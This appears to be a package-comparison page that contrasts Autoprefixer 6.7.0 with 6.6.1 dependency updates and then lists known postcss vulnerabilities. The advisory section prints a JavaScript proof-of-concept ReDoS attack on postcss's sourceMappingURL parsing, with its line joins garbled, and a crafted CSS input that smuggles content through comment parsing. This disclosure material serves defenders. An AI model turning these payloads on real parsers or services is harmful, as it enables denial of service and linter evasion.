Autoprefixer version 6.7.0 is a minor release following version 6.6.1, both serving the same core purpose: parsing CSS and automatically adding vendor prefixes to CSS rules. This crucial functionality ensures cross-browser compatibility by leveraging data from the "Can I Use" website.
Key differences lie in updated dependencies, particularly within the "dependencies" section. Autoprefixer 6.7.0 upgrades postcss to version ^5.2.11 (from ^5.2.8), caniuse-db to ^1.0.30000613 (from ^1.0.30000604), and browserslist to ~1.6.0 (from ~1.5.1). These dependency updates likely incorporate bug fixes, performance improvements, and expanded browser support data. The "devDependencies" section shows fs-extra bumped to ^2.0.0 from ^1.0.0, and browserify to ^13.3.0 from ^13.1.1. These updates are relevant to developers integrating Autoprefixer into their build processes, particularly those using tools like Gulp (which remains at ^3.9.1 in both versions). The updated caniuse-db would be of particular interest, as it drives Autoprefixer's core prefixing logic.
For developers choosing between versions, the newer 6.7.0 is generally recommended, offering the latest refinements and potentially improved compatibility with modern browsers and build environments. Always check the release notes in the project repository for a comprehensive overview of changes and potential breaking items.
All the vulnerabilities related to the version 6.7.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.